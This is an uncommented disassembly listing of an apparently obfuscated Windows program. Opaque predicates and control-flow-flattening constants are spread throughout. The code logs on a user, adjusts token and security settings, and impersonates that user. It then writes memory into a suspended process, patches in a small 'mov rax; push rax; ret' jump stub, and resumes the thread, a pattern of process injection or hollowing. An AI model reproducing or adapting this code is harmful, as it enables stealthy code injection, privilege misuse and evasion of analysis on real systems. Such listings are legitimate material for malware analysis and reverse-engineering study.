mov r15, qword [rbp + 0xc0]
jmp 0x140006d00
mov eax, dword [0x14003cea8]
mov ecx, dword [0x14003ceac]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete byte [rbp + 0x190]
cmp ecx, 0xa
setl byte [rbp + 0x180]
mov eax, 0x92849ca1
mov esi, 0x9dbee1ec
mov edi, 0x68a758c4
mov ebx, 0x8233e087
nop dword [rax]
cmp eax, 0x9dbee1eb
jg 0x1400060d0
cmp eax, 0x8233e087
je 0x14000613a
cmp eax, 0x92849ca1
jne 0x140006080
movzx ecx, byte [rbp + 0x190]
movzx eax, byte [rbp + 0x180]
mov edx, ecx
xor dl, al
mov edx, 0x68a758c4
cmovne edx, esi
test al, al
mov eax, edx
cmovne eax, esi
test cl, cl
cmove eax, edx
jmp 0x140006080
cmp eax, 0x9dbee1ec
je 0x1400060f1
cmp eax, 0x68a758c4
jne 0x140006080
mov rcx, qword [rbp + 0x168]
call fcn.140010b00
mov eax, 0x9dbee1ec
jmp 0x140006080
mov rcx, qword [rbp + 0x168]
call fcn.140010b00
mov qword [rbp + 0xe0], rax
mov eax, dword [0x14003cea8]
lea ecx, [rax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
mov eax, 0x68a758c4
cmove eax, ebx
cmp dword [0x14003ceac], 0xa
cmovge eax, edi
setl dl
xor dl, cl
cmovne eax, ebx
jmp 0x140006080
mov r15, qword [rbp + 0xe0]
mov eax, dword [0x14003cea8]
mov ecx, dword [0x14003ceac]
lea edx, [rax - 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete byte [rbp + 0x190]
cmp ecx, 0xa
setl byte [rbp + 0x180]
mov ecx, 0x92849ca1
mov r13d, 0x9dbee1ec
mov r12d, 0x68a758c4
mov esi, 0x8233e087
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x9dbee1eb
jg 0x1400061e0
cmp ecx, 0x8233e087
je 0x140006256
cmp ecx, 0x92849ca1
jne 0x140006190
movzx eax, byte [rbp + 0x190]
movzx ecx, byte [rbp + 0x180]
mov edx, ecx
xor dl, al
test cl, cl
mov ecx, 0x68a758c4
cmovne ecx, r13d
test al, al
cmove ecx, r12d
test dl, dl
cmovne ecx, r13d
jmp 0x140006190
cmp ecx, 0x9dbee1ec
je 0x140006203
cmp ecx, 0x68a758c4
jne 0x140006190
mov rcx, qword [rbp + 0x170]
call fcn.140010b00
mov ecx, 0x9dbee1ec
jmp 0x140006190
mov rcx, qword [rbp + 0x170]
call fcn.140010b00
mov ecx, dword [0x14003cea8]
mov edi, dword [0x14003ceac]
lea ebx, [rcx - 1]
imul ebx, ecx
not ebx
or ebx, 0xfffffffe
cmp ebx, 0xffffffff
sete cl
cmp edi, 0xa
setl dl
xor dl, cl
mov edx, 0x68a758c4
cmovne edx, esi
cmp ebx, 0xffffffff
mov ecx, edx
cmove ecx, esi
cmp edi, 0xa
mov qword [rbp + 0xe0], rax
cmovge ecx, edx
jmp 0x140006190
mov rdi, qword [rbp + 0xe0]
mov eax, dword [0x14003cea8]
mov ecx, dword [0x14003ceac]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete byte [rbp + 0x190]
cmp ecx, 0xa
setl byte [rbp + 0x180]
mov eax, 0x92849ca1
mov r12d, 0x9dbee1ec
mov ebx, 0x68a758c4
mov esi, 0x8233e087
nop dword [rax]
cmp eax, 0x9dbee1eb
jg 0x1400062f0
cmp eax, 0x8233e087
je 0x140006359
cmp eax, 0x92849ca1
jne 0x1400062a0
movzx ecx, byte [rbp + 0x190]
movzx eax, byte [rbp + 0x180]
mov edx, ecx
xor dl, al
test al, al
mov eax, 0x68a758c4
cmovne eax, r12d
test cl, cl
cmove eax, ebx
test dl, dl
cmovne eax, r12d
jmp 0x1400062a0
cmp eax, 0x9dbee1ec
je 0x140006311
cmp eax, 0x68a758c4
jne 0x1400062a0
mov rcx, qword [rbp + 0x178]
call fcn.140010b00
mov eax, 0x9dbee1ec
jmp 0x1400062a0
mov rcx, qword [rbp + 0x178]
call fcn.140010b00
mov qword [rbp + 0xe0], rax
mov eax, dword [0x14003cea8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
mov eax, 0x68a758c4
cmove eax, esi
cmp dword [0x14003ceac], 0xa
cmovge eax, ebx
setl dl
xor dl, cl
cmovne eax, esi
jmp 0x1400062a0
mov rcx, qword [rbp + 0xe0]
lea rax, [rbp + 0xd0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov rdx, rdi
mov r8, r15
mov r9d, 3
call qword [sym.imp.ADVAPI32.dll_LogonUserW]
mov ecx, dword [0x14003cf00]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0xfffffffe
test ecx, edx
sete cl
cmp dword [0x14003cf04], 0xa
setl dl
test dl, cl
mov r12, r14
jne 0x14000671a
xor dl, cl
jne 0x14000671a
mov eax, dword [0x14003cea8]
mov ecx, dword [0x14003ceac]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete byte [rbp + 0x190]
cmp ecx, 0xa
setl byte [rbp + 0x180]
mov ecx, 0x92849ca1
mov r15d, 0x9dbee1ec
mov edi, 0x8233e087
jmp 0x140006450
mov rcx, qword [rbp + 0x168]
call fcn.140010b00
mov ecx, dword [0x14003cea8]
mov esi, dword [0x14003ceac]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
xor ecx, 0xfffffffe
test ecx, ebx
sete r8b
cmp esi, 0xa
setl dl
xor dl, r8b
mov edx, 0x68a758c4
cmovne edx, edi
test ecx, ebx
mov ecx, edx
cmove ecx, edi
cmp esi, 0xa
mov qword [rbp + 0xe0], rax
cmovge ecx, edx
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x9dbee1eb
jg 0x1400064a0
cmp ecx, 0x8233e087
je 0x1400064c7
cmp ecx, 0x92849ca1
jne 0x140006450
movzx eax, byte [rbp + 0x190]
movzx ecx, byte [rbp + 0x180]
mov edx, eax
xor dl, cl
mov edx, 0x68a758c4
cmovne edx, r15d
test cl, cl
mov ecx, edx
cmovne ecx, r15d
test al, al
cmove ecx, edx
jmp 0x140006450
cmp ecx, 0x9dbee1ec
je 0x1400063f5
cmp ecx, 0x68a758c4
jne 0x140006450
mov rcx, qword [rbp + 0x168]
call fcn.140010b00
mov ecx, 0x9dbee1ec
jmp 0x140006450
mov r15, qword [rbp + 0xe0]
mov eax, dword [0x14003cea8]
mov ecx, dword [0x14003ceac]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete byte [rbp + 0x190]
cmp ecx, 0xa
setl byte [rbp + 0x180]
mov ecx, 0x92849ca1
mov r12d, 0x9dbee1ec
mov edi, 0x8233e087
nop dword [rax + rax]
cmp ecx, 0x9dbee1eb
jg 0x140006560
cmp ecx, 0x8233e087
je 0x1400065d6
cmp ecx, 0x92849ca1
jne 0x140006510
movzx eax, byte [rbp + 0x190]
movzx ecx, byte [rbp + 0x180]
mov edx, eax
xor dl, cl
mov edx, 0x68a758c4
cmovne edx, r12d
test cl, cl
mov ecx, edx
cmovne ecx, r12d
test al, al
cmove ecx, edx
jmp 0x140006510
cmp ecx, 0x9dbee1ec
je 0x140006583
cmp ecx, 0x68a758c4
jne 0x140006510
mov rcx, qword [rbp + 0x170]
call fcn.140010b00
mov ecx, 0x9dbee1ec
jmp 0x140006510
mov rcx, qword [rbp + 0x170]
call fcn.140010b00
mov ecx, dword [0x14003cea8]
mov esi, dword [0x14003ceac]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
xor ecx, 0xfffffffe
test ecx, ebx
sete r8b
cmp esi, 0xa
setl dl
xor dl, r8b
mov edx, 0x68a758c4
cmovne edx, edi
test ecx, ebx
mov ecx, edx
cmove ecx, edi
cmp esi, 0xa
mov qword [rbp + 0xe0], rax
cmovge ecx, edx
jmp 0x140006510
mov rdi, qword [rbp + 0xe0]
mov eax, dword [0x14003cea8]
mov ecx, dword [0x14003ceac]
lea edx, [rax - 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete byte [rbp + 0x190]
cmp ecx, 0xa
setl byte [rbp + 0x180]
mov ecx, 0x92849ca1
mov r12d, 0x9dbee1ec
mov r13d, 0x8233e087
nop dword [rax]
cmp ecx, 0x9dbee1eb
jg 0x140006670
cmp ecx, 0x8233e087
je 0x1400066e8
cmp ecx, 0x92849ca1
jne 0x140006620
movzx eax, byte [rbp + 0x190]
movzx ecx, byte [rbp + 0x180]
mov edx, eax
xor dl, cl
mov edx, 0x68a758c4
cmovne edx, r12d
test cl, cl
mov ecx, edx
cmovne ecx, r12d
test al, al
cmove ecx, edx
jmp 0x140006620
cmp ecx, 0x9dbee1ec
je 0x140006693
cmp ecx, 0x68a758c4
jne 0x140006620
mov rcx, qword [rbp + 0x178]
call fcn.140010b00
mov ecx, 0x9dbee1ec
jmp 0x140006620
mov rcx, qword [rbp + 0x178]
call fcn.140010b00
mov ecx, dword [0x14003cea8]
mov esi, dword [0x14003ceac]
lea ebx, [rcx - 1]
imul ebx, ecx
not ebx
or ebx, 0xfffffffe
cmp ebx, 0xffffffff
sete cl
cmp esi, 0xa
setl dl
xor dl, cl
mov edx, 0x68a758c4
cmovne edx, r13d
cmp ebx, 0xffffffff
mov ecx, edx
cmove ecx, r13d
cmp esi, 0xa
mov qword [rbp + 0xe0], rax
cmovge ecx, edx
jmp 0x140006620
mov rcx, qword [rbp + 0xe0]
lea rax, [rbp + 0xd0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov rdx, rdi
mov r8, r15
mov r9d, 3
call qword [sym.imp.ADVAPI32.dll_LogonUserW]
jmp 0x14000603e
test eax, eax
je 0x1400067cc
mov qword [rbp + 0xe0], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0xe0]
mov rcx, rax
mov edx, 8
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
mov r14d, dword [rbp + 0x268]
je 0x14000677a
mov rcx, qword [rbp + 0xe0]
call fcn.1400077c0
mov rcx, qword [rbp + 0xd0]
mov edx, eax
call fcn.1400082e0
mov rcx, qword [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], 0
mov rcx, rax
mov edx, 6
mov r8d, 4
xor r9d, r9d
call qword [sym.imp.ADVAPI32.dll_SetSecurityInfo]
mov rcx, qword [rbp + 0xd0]
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
mov dword [rbp + 0xcc], eax
mov eax, 2
mov qword [rbp + 0xb8], rax
jmp 0x140004c69
xor r14d, r14d
jmp 0x1400067d1
mov rcx, qword [rbp + 0x178]
call fcn.14000d500
mov eax, dword [0x14003ceb0]
mov edx, dword [0x14003ceb4]
lea ecx, [rax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp edx, 0xa
setl bl
xor bl, al
mov edi, 0x6c17b9e2
mov eax, 0x5d4c34f0
cmovne eax, edi
cmp ecx, 0xffffffff
sete byte [rbp + 0xe0]
mov esi, 0x5d4c34f0
cmovne edi, eax
cmp edx, 0xa
setl byte [rbp + 0x40]
cmovge edi, eax
mov eax, 0x96a35fd2
mov edx, 0xa57c99fb
nop word cs:[rax + rax]
nop
cmp eax, 0x5d4c34ef
jg 0x140006860
cmp eax, 0x96a35fd2
je 0x140006870
cmp eax, 0xa57c99fb
jne 0x140006840
mov eax, edi
jmp 0x140006840
cmp eax, 0x5d4c34f0
je 0x140006895
cmp eax, 0x6c17b9e2
jne 0x140006840
jmp 0x14000689c
movzx ebx, byte [rbp + 0xe0]
movzx eax, byte [rbp + 0x40]
mov ecx, eax
xor cl, bl
test al, al
mov eax, 0x5d4c34f0
cmovne eax, edx
test bl, bl
cmove eax, esi
test cl, cl
cmovne eax, edx
jmp 0x140006840
mov eax, 0xa57c99fb
jmp 0x140006840
mov rcx, qword [rbp + 0x170]
call fcn.14000d500
mov eax, dword [0x14003ceb0]
mov ecx, dword [0x14003ceb4]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete dl
sete byte [rbp + 0xe0]
mov ebx, 0x6c17b9e2
mov esi, 0x5d4c34f0
mov edi, 0x5d4c34f0
cmove edi, ebx
cmp ecx, 0xa
setl byte [rbp + 0x40]
setl cl
cmovge edi, esi
xor cl, dl
cmovne edi, ebx
mov ecx, 0x96a35fd2
mov edx, 0xa57c99fb
nop dword [rax]
cmp ecx, 0x5d4c34ef
jg 0x140006920
cmp ecx, 0x96a35fd2
je 0x140006932
cmp ecx, 0xa57c99fb
jne 0x140006900
mov ecx, edi
jmp 0x140006900
cmp ecx, 0x5d4c34f0
je 0x140006957
cmp ecx, 0x6c17b9e2
jne 0x140006900
jmp 0x14000695e
movzx eax, byte [rbp + 0xe0]
movzx ecx, byte [rbp + 0x40]
mov ebx, eax
xor bl, cl
test cl, cl
mov ecx, 0x5d4c34f0
cmovne ecx, edx
test al, al
cmove ecx, esi
test bl, bl
cmovne ecx, edx
jmp 0x140006900
mov ecx, 0xa57c99fb
jmp 0x140006900
mov rcx, qword [rbp + 0x168]
call fcn.14000d500
mov eax, dword [0x14003ceb0]
mov edx, dword [0x14003ceb4]
lea ecx, [rax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp edx, 0xa
setl bl
xor bl, al
mov edi, 0x6c17b9e2
mov eax, 0x5d4c34f0
cmovne eax, edi
cmp ecx, 0xffffffff
sete byte [rbp + 0xe0]
mov esi, 0x5d4c34f0
cmovne edi, eax
cmp edx, 0xa
setl byte [rbp + 0x40]
cmovge edi, eax
mov eax, 0x96a35fd2
mov edx, 0xa57c99fb
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x5d4c34ef
jg 0x1400069f0
cmp eax, 0x96a35fd2
je 0x140006a00
cmp eax, 0xa57c99fb
jne 0x1400069d0
mov eax, edi
jmp 0x1400069d0
cmp eax, 0x5d4c34f0
je 0x140006a25
cmp eax, 0x6c17b9e2
jne 0x1400069d0
jmp 0x140006a2c
movzx ebx, byte [rbp + 0xe0]
movzx eax, byte [rbp + 0x40]
mov ecx, eax
xor cl, bl
test al, al
mov eax, 0x5d4c34f0
cmovne eax, edx
test bl, bl
cmove eax, esi
test cl, cl
cmovne eax, edx
jmp 0x1400069d0
mov eax, 0xa57c99fb
jmp 0x1400069d0
mov rcx, qword [rbp + 0x160]
call fcn.14000d500
mov eax, dword [0x14003ceb0]
mov ecx, dword [0x14003ceb4]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete dl
sete byte [rbp + 0xe0]
mov ebx, 0x6c17b9e2
mov esi, 0x5d4c34f0
mov edi, 0x5d4c34f0
cmove edi, ebx
cmp ecx, 0xa
setl byte [rbp + 0x40]
setl cl
cmovge edi, esi
xor cl, dl
cmovne edi, ebx
mov ecx, 0x96a35fd2
mov edx, 0xa57c99fb
nop dword [rax]
cmp ecx, 0x5d4c34ef
jg 0x140006ab0
cmp ecx, 0x96a35fd2
je 0x140006ac2
cmp ecx, 0xa57c99fb
jne 0x140006a90
mov ecx, edi
jmp 0x140006a90
cmp ecx, 0x5d4c34f0
je 0x140006ae7
cmp ecx, 0x6c17b9e2
jne 0x140006a90
jmp 0x140006aee
movzx eax, byte [rbp + 0xe0]
movzx ecx, byte [rbp + 0x40]
mov ebx, eax
xor bl, cl
test cl, cl
mov ecx, 0x5d4c34f0
cmovne ecx, edx
test al, al
cmove ecx, esi
test bl, bl
cmovne ecx, edx
jmp 0x140006a90
mov ecx, 0xa57c99fb
jmp 0x140006a90
mov eax, r14d
movaps xmm6, xmmword [rbp + 0x1a0]
movaps xmm7, xmmword [rbp + 0x1b0]
movaps xmm8, xmmword [rbp + 0x1c0]
movaps xmm9, xmmword [rbp + 0x1d0]
movaps xmm10, xmmword [rbp + 0x1e0]
add rsp, 0x278
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rcx, qword [rbp + 0x140]
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rsi
mov rcx, qword [rbp + 0x148]
call rsi
mov edx, dword [rbp + 0x150]
lea rcx, [0x14003c24c]
call fcn.1400034d0
mov eax, dword [0x14003cf00]
mov ecx, dword [0x14003cf04]
lea edx, [rax - 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete dl
setne al
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
mov r14b, 1
cmp bl, dl
jne 0x140006d19
or cl, al
je 0x140006d19
mov rcx, qword [rbp + 0x140]
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rsi
mov rcx, qword [rbp + 0x148]
call rsi
mov edx, dword [rbp + 0x150]
lea rcx, [0x14003c24c]
call fcn.1400034d0
jmp 0x140006b2b
mov rcx, qword [rbp + 0x140]
mov qword [rsp + 0x20], 0
mov rdx, r14
mov r8, rdi
mov r9, r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [0x14003cf00]
mov edx, dword [0x14003cf04]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
xor ecx, 0xfffffffe
test ecx, ebx
sete bl
setne r8b
cmp edx, 0xa
setl cl
cmp edx, 9
setg dl
cmp cl, bl
jne 0x140006c3a
or dl, r8b
je 0x140006c3a
mov rcx, qword [rbp + 0x140]
mov qword [rsp + 0x20], 0
mov rdx, r14
mov r8, rdi
mov r9, r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x140006bc5
test eax, eax
mov rdi, qword [rbp + 0x138]
mov r15, qword [rbp + 0xc0]
je 0x140006ce7
mov dword [rbp + 0x188], 0xc3500000
mov qword [rbp + 0x180], 0xb848
mov qword [rbp + 0x182], r14
mov qword [rbp + 0x130], 0
mov dword [rbp + 0xb4], 0
mov rcx, qword [rbp + 0x148]
lea rax, [rbp + 0xb4]
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x130]
mov edx, 9
mov r9d, 8
call sub.ntdll.dll_NtQueryInformationThread
mov rdx, qword [rbp + 0x130]
mov rcx, qword [rbp + 0x140]
mov qword [rsp + 0x20], 0
lea r8, [rbp + 0x180]
mov r9d, 0xc
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [rbp + 0x148]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov r14b, 1
jmp 0x140006cf9
mov rcx, qword [rbp + 0x140]
xor r14d, r14d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov r12, qword [rbp + 0xd8]
mov rcx, qword [rbp + 0x140]
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rsi
mov rcx, qword [rbp + 0x148]
call rsi
cmp dword [rbp + 0xcc], 0
je 0x140006d28
call qword [sym.imp.ADVAPI32.dll_RevertToSelf]
mov rcx, qword [rbp + 0x38]
call fcn.14001de78
mov rcx, rdi
call fcn.14001de78
mov rcx, r13
call fcn.14001de78
mov rcx, r15
call fcn.14001de78
test r12, r12
je 0x140006d56
mov rcx, r12
call fcn.14001de78
mov eax, dword [0x14003cf00]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
cmp dword [0x14003cf04], 0xa
setl al
mov edx, eax
and dl, cl
xor al, cl
or al, dl
nop
test al, al
je 0x140006d80
mov rsi, qword [rbp + 0xd0]
test rsi, rsi
je 0x1400067d1
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x14003cf00]
mov ecx, dword [0x14003cf04]
lea edx, [rax - 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete dl
setne al
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
cmp bl, dl
jne 0x1400067d1
or cl, al
je 0x1400067d1
mov rdi, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call rdi
mov rcx, rsi
call rdi
mov eax, dword [0x14003cf00]
lea ecx, [rax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp dword [0x14003cf04], 0xa
setl cl
test cl, al
jne 0x1400067d1
xor cl, al
je 0x140006de0
jmp 0x1400067d1